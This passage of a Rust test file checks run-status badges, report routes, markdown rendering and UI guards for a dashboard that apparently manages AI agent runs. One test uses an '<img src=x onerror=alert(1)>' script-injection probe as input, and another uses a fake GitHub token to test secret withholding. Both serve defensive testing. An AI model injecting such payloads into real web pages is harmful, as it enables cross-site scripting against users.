18776 use crate::run::Liveness::{Dead, Live, Unknown};
18777 let mut state = RunState::new(
18778 PathBuf::from("/repo/magi"),
18779 "main".to_owned(),
18780 "abc".to_owned(),
18781 "Badge".to_owned(),
18782 Config::default(),
18783 );
18784 for (status, waiting, live, superseded, expected) in [
18785 (RunStatus::Gating, false, Dead, false, "stale"),
18786 (RunStatus::Gating, false, Dead, true, "superseded"),
18787 (RunStatus::Gating, false, Unknown, true, "superseded"),
18788 (RunStatus::Gating, true, Dead, true, "superseded"),
18789 (RunStatus::Gating, true, Dead, false, "waiting"),
18790 (RunStatus::Gating, false, Unknown, false, "gating"),
18791 (RunStatus::Gating, false, Live, true, "gating"),
18792 (RunStatus::Gating, true, Live, true, "waiting"),
18793 (RunStatus::Merged, false, Dead, true, "merged"),
18794 (RunStatus::Blocked, false, Dead, true, "blocked"),
18795 ] {
18796 state.status = status;
18797 let display = run_display_status(&state, waiting, live);
18798 assert_eq!(
18799 run_badge_status(&state, &display, live, superseded),
18800 expected,
18801 "{status:?}/{live:?}/superseded={superseded}"
18802 );
18803 }
18804 }
18805
18806 #[test]
18807 fn summarize_and_detail_expose_badge_status() {
18808 use crate::run::Liveness::Dead;
18809 let mut state = RunState::new(
18810 PathBuf::from("/repo/magi"),
18811 "main".to_owned(),
18812 "abc".to_owned(),
18813 "Badge".to_owned(),
18814 Config::default(),
18815 );
18816 state.status = RunStatus::Gating;
18817 let none = HashSet::new();
18818 let id = state.id.clone();
18819 let mut by = HashMap::new();
18820 let rows = summarize(
18821 [state.clone()],
18822 &none,
18823 &none,
18824 &by,
18825 |_| Some(false),
18826 |_| None,
18827 );
18828 assert_eq!(rows[0].badge_status, rows[0].display_status);
18830 by.insert(id, "20260901-000000-913b".to_owned());
18831 let detail = RunDetailView::of(
18832 state.clone(),
18833 false,
18834 Dead,
18835 Some("913b".to_owned()),
18836 None,
18837 None,
18838 );
18839 assert_eq!(detail.badge_status, "superseded");
18840 let json = serde_json::to_value(&detail).unwrap();
18841 assert_eq!(json["badge_status"], "superseded");
18842 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18843 assert_eq!(detail.badge_status, "stale");
18844 }
18845
18846 #[tokio::test]
18847 async fn run_display_status_routes_share_the_open_question_store() {
18848 let f = Fixture::start().await;
18849 let id = "20260922-090200-abcd";
18850 write_run(&f.runs(), id, RunStatus::Judging);
18851 let mut state = read_run(&f.runs(), id).unwrap();
18852 state.parked = true;
18853 state.driver_exited = true;
18854 state.event("github-text", "waiting for the owner");
18855 state.save_under(f.home.path()).unwrap();
18856 let mut task = Task::new(
18857 "resumed task".to_owned(),
18858 "do it".to_owned(),
18859 PathBuf::from("/repo"),
18860 Source::Human,
18861 );
18862 task.runs = vec![id.to_owned(), id.to_owned()];
18863 f.queue().put(&mut task).unwrap();
18864 let store = f.questions();
18865 let mut q = Question::new(
18866 id.to_owned(),
18867 "github-text".to_owned(),
18868 "owner".to_owned(),
18869 "Approve the text?".to_owned(),
18870 String::new(),
18871 Vec::new(),
18872 );
18873 store.put(&mut q).unwrap();
18874 for expected in ["waiting", "parked"] {
18875 let list = f.get("/api/runs").await.json();
18876 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18877 assert_eq!(list[0]["display_status"], expected);
18878 assert_eq!(detail["display_status"], expected);
18879 assert_eq!(detail["waiting"], list[0]["waiting"]);
18880 assert_eq!(list[0]["badge_status"], expected);
18881 assert_eq!(detail["badge_status"], expected);
18882 assert!(list[0]["superseded_by"].is_null());
18883 assert!(detail["superseded_by"].is_null());
18884 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18885 let history = task_detail["history"].as_array().unwrap();
18886 assert_eq!(history.len(), 2);
18887 assert!(history[0]["badge"].is_null());
18888 assert_eq!(history[1]["badge"], expected);
18889 q.status = ask::QuestionStatus::Answered;
18890 store.put(&mut q).unwrap();
18891 }
18892 }
18893
18894 #[tokio::test]
18895 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18896 let f = Fixture::start().await;
18897 let id = "20260922-090200-abcd";
18898 write_run(&f.runs(), id, RunStatus::Judging);
18899 let mut state = read_run(&f.runs(), id).unwrap();
18900 state.parked = true;
18901 state.driver_exited = true;
18902 state.event("park", "stopped at a node boundary");
18903 state.save_under(f.home.path()).unwrap();
18904
18905 for expected in ["parked", "stale"] {
18906 let list = f.get("/api/runs").await.json();
18907 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18908 assert_eq!(list[0]["live"], "dead");
18909 assert_eq!(list[0]["display_status"], expected);
18910 assert_eq!(detail["display_status"], expected);
18911 state.parked = false;
18914 state.save_under(f.home.path()).unwrap();
18915 }
18916 }
18917
18918 #[tokio::test]
18919 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18920 let f = Fixture::start().await;
18921 for id in [
18922 "20260902-140501-aaaa",
18923 "20260902-140502-bbbb",
18924 "20260902-140503-cccc",
18925 ] {
18926 write_run(&f.runs(), id, RunStatus::Merged);
18927 }
18928
18929 let all = f.get("/api/runs").await.json();
18930 let capped = f.get("/api/runs?limit=2").await.json();
18931
18932 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18933 assert_eq!(all.as_array().map(Vec::len), Some(3));
18934 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18935 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18936 }
18937
18938 #[tokio::test]
18939 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18940 let f = Fixture::start().await;
18941 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18942
18943 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18944
18945 assert_eq!(res.status, 200);
18946 assert!(
18947 res.headers
18948 .contains("content-type: text/plain; charset=utf-8"),
18949 "a browser must render it, not download it: {}",
18950 res.headers
18951 );
18952 assert!(
18956 res.body.contains("20260902-140501-a1b2"),
18957 "the report is about the run that was asked for: {}",
18958 res.body
18959 );
18960 }
18961
18962 #[tokio::test]
18963 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18964 crate::run::pin_test_home();
18966 let f = Fixture::start().await;
18967 let id = "20260902-140501-a1b2";
18968 write_run(&f.runs(), id, RunStatus::Stalled);
18969 let path = f.runs().join(id).join("run.json");
18972 let mut v: serde_json::Value =
18973 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18974 v["tally"] = serde_json::json!({
18975 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18976 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18977 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18978 "met_quorum": false, "rankings": 1
18979 });
18980 v["reviews"] = serde_json::json!([{
18981 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18982 "e2e_deferred": true,
18983 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18984 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18985 ]}]
18986 }]);
18987 std::fs::write(&path, v.to_string()).unwrap();
18988 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18989 std::fs::write(
18990 f.runs().join("20260902-140502-dead").join("run.json"),
18991 "{not json",
18992 )
18993 .unwrap();
18994
18995 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18996
18997 assert_eq!(res.status, 200, "{}", res.body);
18998 assert!(res.headers.contains("content-type: application/json"));
18999 let j = res.json();
19000 assert_eq!(j["schema"], 1);
19001 assert_eq!(j["header"]["id"], id);
19002 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19003 let kinds: Vec<&str> = j["sections"]
19004 .as_array()
19005 .unwrap()
19006 .iter()
19007 .map(|s| s["kind"].as_str().unwrap())
19008 .collect();
19009 assert_eq!(kinds, ["candidates", "tally", "review"]);
19010 let tally = &j["sections"][1]["tally"];
19011 assert_eq!(
19012 (tally["decided"].clone(), tally["provisional"].clone()),
19013 (false.into(), true.into())
19014 );
19015 let round = &j["sections"][2]["rounds"][0];
19016 assert_eq!(round["e2e"]["state"], "deferred");
19017 assert_eq!(round["findings"][0]["severity"], "major");
19018 assert_eq!(round["findings"][0]["blocking"], true);
19019 assert_eq!(round["findings"][0]["state"], "open");
19020
19021 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19023
19024 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19026 assert_ne!(bad.status, 200, "{}", bad.body);
19027 assert_eq!(
19028 bad.status,
19029 f.get("/api/runs/20260902-140502-dead/report").await.status
19030 );
19031 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19032 assert_eq!(
19033 f.get("/api/runs/20260902-999999-ffff/report.json")
19034 .await
19035 .status,
19036 404
19037 );
19038 }
19039
19040 #[tokio::test]
19041 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19042 crate::run::pin_test_home();
19043 let f = Fixture::start().await;
19044 let id = "20260902-140503-delib";
19045 write_run(&f.runs(), id, RunStatus::Merged);
19046 let path = f.runs().join(id).join("run.json");
19047 let mut v: serde_json::Value =
19048 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19049 v["judgements"] = serde_json::json!([
19050 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19051 ]);
19052 v["tally"] = serde_json::json!({
19053 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19054 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19055 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19056 "met_quorum": true, "rankings": 1
19057 });
19058 v["deliberation"] = serde_json::json!([
19059 {
19060 "round": 1,
19061 "turns": [
19062 {
19063 "judge": 1,
19064 "agent": "judge-1",
19065 "body": "I prefer candidate **A** because it has cleaner tests.",
19066 "tentative": "A"
19067 }
19068 ]
19069 },
19070 {
19071 "round": 2,
19072 "turns": [
19073 {
19074 "judge": 1,
19075 "agent": "judge-1",
19076 "body": "Still thinking, no choice yet.",
19077 "tentative": null
19078 }
19079 ]
19080 }
19081 ]);
19082 std::fs::write(&path, v.to_string()).unwrap();
19083
19084 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19085 assert_eq!(res.status, 200, "{}", res.body);
19086 let j = res.json();
19087 let judging = j["sections"]
19088 .as_array()
19089 .unwrap()
19090 .iter()
19091 .find(|s| s["kind"] == "judging")
19092 .expect("judging section exists");
19093
19094 let delib_lines = judging["deliberation"].as_array().unwrap();
19096 assert_eq!(delib_lines.len(), 2);
19097 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19098 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19099
19100 let rounds = judging["rounds"].as_array().unwrap();
19102 assert_eq!(rounds.len(), 2);
19103 let r1_t0 = &rounds[0]["turns"][0];
19104 assert_eq!(r1_t0["judge"], 1);
19105 assert_eq!(r1_t0["agent"], "judge-1");
19106 assert_eq!(r1_t0["tentative"], "A");
19107 assert_eq!(
19108 r1_t0["body"],
19109 "I prefer candidate **A** because it has cleaner tests."
19110 );
19111 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19112
19113 let r2_t0 = &rounds[1]["turns"][0];
19114 assert_eq!(r2_t0["judge"], 1);
19115 assert_eq!(r2_t0["agent"], "judge-1");
19116 assert!(r2_t0["tentative"].is_null());
19117 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19118 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19119
19120 let id_empty = "20260902-140504-nodelib";
19122 write_run(&f.runs(), id_empty, RunStatus::Merged);
19123 let path_empty = f.runs().join(id_empty).join("run.json");
19124 let mut v_empty: serde_json::Value =
19125 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19126 v_empty["judgements"] = serde_json::json!([
19127 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19128 ]);
19129 v_empty["deliberation"] = serde_json::json!([]);
19130 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19131
19132 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19133 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19134 let j_empty = res_empty.json();
19135 let judging_empty = j_empty["sections"]
19136 .as_array()
19137 .unwrap()
19138 .iter()
19139 .find(|s| s["kind"] == "judging")
19140 .expect("judging section exists");
19141 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19142 }
19143
19144 #[tokio::test]
19145 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19146 let f = Fixture::start().await;
19147
19148 let html = f.get("/").await;
19149 let css = f.get("/app.css").await;
19150 let js = f.get("/app.js").await;
19151
19152 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19153 assert!(
19154 html.headers
19155 .contains("content-type: text/html; charset=utf-8")
19156 );
19157 assert!(css.headers.contains("content-type: text/css"));
19158 assert!(js.headers.contains("content-type: text/javascript"));
19159 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19160 }
19161
19162 #[test]
19163 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19164 let body = |name: &str| {
19165 let at = APP_JS
19166 .find(name)
19167 .unwrap_or_else(|| panic!("{name} missing"));
19168 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19169 };
19170 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19171 let note = body("function landRoundNote");
19172 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19173 assert!(note.contains("Land round ${round}"));
19174 let land = body("function renderLand");
19175 let note_at = land
19176 .find("landRoundNote(pr)")
19177 .expect("renderLand uses the note");
19178 assert!(
19179 note_at
19180 < land
19181 .find("roundRail(pr)")
19182 .expect("renderLand uses the rail")
19183 );
19184 }
19185
19186 #[test]
19187 fn the_runs_page_redesign_keeps_its_guards() {
19188 let body = |name: &str| {
19189 let at = APP_JS
19190 .find(name)
19191 .unwrap_or_else(|| panic!("{name} missing"));
19192 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19193 };
19194 let land = body("function renderLand");
19196 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19197 assert!(
19198 !land.contains("box.append("),
19199 "renderLand must use append()"
19200 );
19201 assert!(land.contains("append(box, ["));
19202 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19204 assert!(
19205 body("function applyRoute")
19206 .contains("route.name !== state.route.name || route.id !== state.route.id")
19207 );
19208 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19210 assert!(!INDEX_HTML.contains("advise-converge"));
19211 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19212 assert!(APP_JS.contains("provisional"));
19213 for id in [
19214 "run-tab-overview",
19215 "run-tab-timeline",
19216 "run-tab-report",
19217 "run-report",
19218 "runs-scope",
19219 ] {
19220 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19221 }
19222 assert!(!INDEX_HTML.contains("runs-tree"));
19223 assert!(!INDEX_HTML.contains("run-raw-panel"));
19224 assert!(APP_JS.contains("resume"));
19226 assert!(APP_JS.contains("unreadable"));
19228 }
19229
19230 #[test]
19231 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19232 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19233 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19234 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19235 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19236 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19237 assert!(APP_JS.contains("unreadable` : null"));
19239 }
19240
19241 #[test]
19242 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19243 let mut state = RunState::new(
19244 "/repo".into(),
19245 "main".into(),
19246 "abc".into(),
19247 "task".into(),
19248 crate::config::Config::default(),
19249 );
19250 state.status = RunStatus::Blocked;
19251 state.gate_ran = true;
19252 state.gate.push(crate::run::CommandOutcome {
19253 command: "cargo make check".into(),
19254 code: Some(1),
19255 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19256 duration_ms: 0,
19257 resource_blocked: false,
19258 });
19259 let view = RunDetailView::of(
19260 state,
19261 false,
19262 crate::run::Liveness::Unknown,
19263 None,
19264 None,
19265 None,
19266 );
19267 let value = serde_json::to_value(view).unwrap();
19268 assert_eq!(
19269 value["stop_reason"],
19270 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19271 );
19272 }
19273
19274 #[test]
19275 fn the_run_detail_payload_says_whether_the_run_is_done() {
19276 for (status, done) in [
19278 (RunStatus::Superseded, true),
19279 (RunStatus::Blocked, true),
19280 (RunStatus::Landing, false),
19281 ] {
19282 let mut state = RunState::new(
19283 std::path::PathBuf::from("/repo"),
19284 "main".to_owned(),
19285 "abc".to_owned(),
19286 "x".to_owned(),
19287 crate::config::Config::default(),
19288 );
19289 state.status = status;
19290 let v = serde_json::to_value(RunDetailView::of(
19291 state,
19292 false,
19293 crate::run::Liveness::Unknown,
19294 None,
19295 None,
19296 None,
19297 ))
19298 .unwrap();
19299 assert_eq!(v["done"], done, "{status:?}");
19300 }
19301 }
19302
19303 fn has_strong(nodes: &[md::Node]) -> bool {
19305 serde_json::to_string(nodes).unwrap().contains("strong")
19306 }
19307
19308 #[test]
19309 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19310 let mut state = RunState::new(
19311 std::path::PathBuf::from("/repo"),
19312 "main".to_owned(),
19313 "abc".to_owned(),
19314 "x".to_owned(),
19315 crate::config::Config::default(),
19316 );
19317 let proposal = |approach: &str| {
19318 serde_json::json!({
19319 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19320 })
19321 };
19322 state.advice = Some(
19323 serde_json::from_value(serde_json::json!({
19324 "records": [
19325 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19326 "proposal": proposal("do **this**")},
19327 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19328 ],
19329 "synthesis": "- one\n- **two**\n\n`code`",
19330 }))
19331 .unwrap(),
19332 );
19333 state.candidates = serde_json::from_value(serde_json::json!([
19334 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19335 "summary": "did **it**"},
19336 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19337 ]))
19338 .unwrap();
19339 state.reviews = serde_json::from_value(serde_json::json!([{
19342 "round": 1, "head": "h",
19343 "reviews": [{
19344 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19345 "findings": [
19346 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19347 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19348 ],
19349 }],
19350 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19351 "fix": {"agent": "a", "notes": "fixed **it**",
19352 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19353 }, {"round": 2, "head": "h2", "reviews": []}]))
19354 .unwrap();
19355
19356 let v = serde_json::to_value(RunDetailView::of(
19357 state,
19358 false,
19359 crate::run::Liveness::Unknown,
19360 None,
19361 None,
19362 None,
19363 ))
19364 .unwrap();
19365
19366 let strong = |p: &str| {
19367 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19368 assert!(n.to_string().contains("strong"), "{p}: {n}");
19369 };
19370 strong("/advice_md/synthesis");
19371 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19372 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19373 strong("/advice_md/approaches/0");
19374 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19375 strong("/candidate_summaries_md/0");
19376 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19377 strong("/reviews_md/0/reviewers/0/summary");
19378 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19379 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19380 assert!(f[1].to_string().contains("strong"));
19381 strong("/reviews_md/0/reconsideration/0");
19382 strong("/reviews_md/0/fix/notes");
19383 strong("/reviews_md/0/fix/rejected/0");
19384 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19385 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19386 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19388 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19389 }
19390
19391 #[test]
19392 fn a_run_without_advice_has_no_advice_md() {
19393 let state = RunState::new(
19394 std::path::PathBuf::from("/repo"),
19395 "main".to_owned(),
19396 "abc".to_owned(),
19397 "x".to_owned(),
19398 crate::config::Config::default(),
19399 );
19400 let p = run_prose_md(&state);
19401 assert!(p.advice_md.is_none());
19402 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19403 }
19404
19405 #[test]
19406 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19407 let store = ask::Questions::at(PathBuf::from("unused"));
19408 let gt = crate::github_text::Withheld {
19409 title: false,
19410 body: true,
19411 categories: vec!["sensitive-data".into()],
19412 };
19413 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19414 let (detail, comparison) =
19415 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19416 let mut q = Question::new(
19417 "r".into(),
19418 "github-text".into(),
19419 "posting-gate".into(),
19420 "s".into(),
19421 detail,
19422 Vec::new(),
19423 );
19424 assert!(
19425 QuestionView::of(q.clone(), &store, None)
19426 .posting_view
19427 .is_none()
19428 );
19429 q.posting_comparison = Some(comparison);
19430 let view = QuestionView::of(q.clone(), &store, None);
19431 let field = &view.posting_view.unwrap().fields[0];
19432 assert_eq!(
19433 field
19434 .original
19435 .iter()
19436 .map(|f| f.text.as_str())
19437 .collect::<String>(),
19438 body
19439 );
19440 assert!(field.original[0].text.starts_with("<img"));
19441 let original_question: Question =
19442 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19443 assert_eq!(original_question, q);
19444 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19445 .original
19446 .start = 1;
19447 assert!(
19448 QuestionView::of(q.clone(), &store, None)
19449 .posting_view
19450 .is_none()
19451 );
19452 q.posting_comparison = original_question.posting_comparison;
19453 q.detail.push_str("extra context");
19454 assert!(
19455 QuestionView::of(q.clone(), &store, None)
19456 .posting_view
19457 .is_some()
19458 );
19459 q.detail.insert(0, 'x');
19460 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19461 }
19462
19463 #[test]
19464 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19465 let store = ask::Questions::at(PathBuf::from("unused"));
19466 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19467 let gt = crate::github_text::Withheld::from_check(
19468 &crate::github_text::check("fix: x", body),
19469 "fix: x",
19470 body,
19471 )
19472 .unwrap();
19473 let (detail, comparison) =
19474 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19475 let mut q = Question::new(
19476 "r".into(),
19477 "github-text".into(),
19478 "posting-gate".into(),
19479 "s".into(),
19480 detail,
19481 Vec::new(),
19482 );
19483 q.posting_comparison = Some(comparison);
19484 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19485 let field = &value["posting_view"]["fields"][0];
19486 let group = &field["replacement_group"];
19487 let triggers = group["triggers"].as_array().unwrap();
19488 assert_eq!(triggers.len(), 2);
19489 assert_ne!(triggers[0], triggers[1]);
19490 for id in triggers {
19491 assert!(
19492 field["original"]
19493 .as_array()
19494 .unwrap()
19495 .iter()
19496 .any(|f| &f["pair"] == id)
19497 );
19498 assert!(
19499 !field["changed"]
19500 .as_array()
19501 .unwrap()
19502 .iter()
19503 .any(|f| &f["pair"] == id)
19504 );
19505 }
19506 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19507 group["id"].as_u64().unwrap() as usize;
19508 assert!(
19509 QuestionView::of(q, &store, None).posting_view.is_none(),
19510 "group and trigger IDs cannot collide"
19511 );
19512 }
19513
19514 #[test]
19515 fn a_question_view_carries_markdown_for_each_thread_turn() {
19516 let home = TempDir::new().unwrap();
19517 let store = ask::Questions::at(home.path().join("questions"));
19518 let mut q = Question::new(
19519 "run".to_owned(),
19520 "implement".to_owned(),
19521 "impl-A".to_owned(),
19522 "which?".to_owned(),
19523 String::new(),
19524 Vec::new(),
19525 );
19526 q.say("plain words").unwrap();
19527 q.reply("use **this**", Vec::new()).unwrap();
19528 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19529 let bodies = &v["thread_bodies_md"];
19530 assert_eq!(bodies.as_array().unwrap().len(), 2);
19531 assert!(!bodies[0].to_string().contains("strong"));
19532 assert!(bodies[1].to_string().contains("strong"));
19533 }
19534
19535 #[test]
19536 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19537 let home = TempDir::new().unwrap();
19538 let store = ask::Questions::at(home.path().join("questions"));
19539 let mut q = Question::new(
19540 "run".to_owned(),
19541 "conduct".to_owned(),
19542 "conduct".to_owned(),
19543 "which?".to_owned(),
19544 String::new(),
19545 Vec::new(),
19546 );
19547 q.say("plain words").unwrap();
19548 q.thread.push(ask::Turn {
19549 who: ask::Who::Agent,
19550 body: "Settled as `merge`".to_owned(),
19551 at: jiff::Timestamp::now(),
19552 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19553 });
19554 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19555 let notes = &v["thread_notes_md"];
19556 assert_eq!(notes.as_array().unwrap().len(), 2);
19557 assert!(notes[0].is_null());
19558 let text = notes[1].to_string();
19559 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19560 assert!(APP_JS.contains("ask-turn-note"));
19561 }
19562
19563 #[test]
19564 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19565 assert!(APP_JS.contains("function landView(run, raw) {"));
19569 assert!(
19570 APP_JS.contains(
19571 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19572 )
19573 );
19574 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19575 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19576 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19577 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19578 }
19579
19580 #[test]
19581 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19582 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19583 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19584 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19585 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19586 }
19587
19588 #[test]
19589 fn review_rounds_label_a_distinct_verified_head() {
19590 assert!(APP_JS.contains("round.verified_head"));
19591 assert!(APP_JS.contains("verified HEAD"));
19592 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19593 }
19594
19595 #[test]
19596 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19597 assert!(APP_JS.contains("blocked: { glyph:"));
19601 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19602
19603 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19607 assert!(
19608 APP_JS.contains(
19609 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19610 ),
19611 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19612 );
19613 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19617
19618 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19622 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19623 assert!(
19624 APP_JS.contains("location.hash = \"#/questions\";"),
19625 "a question node must jump to the Questions screen, not pretend to be a task"
19626 );
19627
19628 assert!(APP_JS.contains("Resolved questions"));
19631 assert!(APP_JS.contains("r.answersList.append("));
19632 assert!(APP_CSS.contains(".task-answers"));
19633 {
19634 let start = APP_JS
19635 .find("function updateTalkTaskRow")
19636 .expect("updateTalkTaskRow");
19637 let body = &APP_JS[start..];
19638 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19639 assert!(
19640 body.contains(
19641 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19642 ),
19643 "a chat-filed task row must link to the task page"
19644 );
19645 assert!(
19646 !body.contains("#/runs/") && !body.contains("#/queue/"),
19647 "the row must not branch to a run or the queue card"
19648 );
19649 assert!(APP_CSS.contains(".talk-task-link"));
19650 }
19651 }
19652
19653 #[test]
19654 fn a_task_notification_links_to_the_task_page() {
19655 let start = APP_JS
19657 .find("function noticeLink(")
19658 .expect("noticeLink exists");
19659 let body = &APP_JS[start..];
19660 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19661 assert!(
19662 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19663 "a task notice's link must target the task page"
19664 );
19665 assert!(
19666 !body.contains("#/queue/"),
19667 "regression: the task link must not go back to the Backlog route"
19668 );
19669 assert!(
19670 APP_JS.contains(
19671 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19672 ),
19673 "`#/tasks/<id>` must parse into the task route"
19674 );
19675
19676 assert!(
19678 APP_JS.contains(
